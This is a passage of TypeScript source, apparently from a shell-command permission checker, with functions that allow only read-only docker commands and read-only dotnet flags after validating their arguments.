'docker images') 1785 // have no flag constraints — allow unconditionally (after $ guard above). 1786 if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) { 1787 return true 1788 } 1789 1790 // DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have 1791 // per-flag configs. Mirrors isGhSafe: look up config, then validateFlags. 1792 const config: ExternalCommandConfig | undefined = 1793 DOCKER_READ_ONLY_COMMANDS[oneWordKey] 1794 if (!config) { 1795 return false 1796 } 1797 1798 const flagArgs = args.slice(1) 1799 1800 if ( 1801 config.additionalCommandIsDangerousCallback && 1802 config.additionalCommandIsDangerousCallback('', flagArgs) 1803 ) { 1804 return false 1805 } 1806 return validateFlags(flagArgs, 0, config) 1807} 1808 1809function isDotnetSafe(args: string[]): boolean { 1810 if (args.length === 0) { 1811 return false 1812 } 1813 1814 // dotnet uses top-level flags like --version, --info, --list-runtimes 1815 // All args must be in the safe set 1816 for (const arg of args) { 1817 if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) { 1818 return false 1819 } 1820 } 1821 1822 return true 1823}